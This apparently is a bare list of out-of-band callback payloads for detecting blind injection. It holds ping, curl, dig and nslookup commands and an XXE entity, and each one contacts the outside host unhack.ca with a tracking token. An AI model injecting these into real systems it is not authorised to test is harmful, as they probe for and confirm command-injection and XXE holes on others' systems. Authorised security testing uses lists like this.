$ ping -c1 -p 002b01028214f2004fbbd61b29ba1100 unhack.ca
$ curl http://unhack.ca/p/2b01028214f2004fbbd61b29ba11
$ dig 2b01028214f2004fbbd61b29ba11 @unhack.ca
$ dig 2b01028214f2004fbbd61b29ba11.ns.unhack.ca
C:\> nslookup 2b01028214f2004fbbd61b29ba11 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/2b01028214f2004fbbd61b29ba11">]> <foo>&xxe;</foo>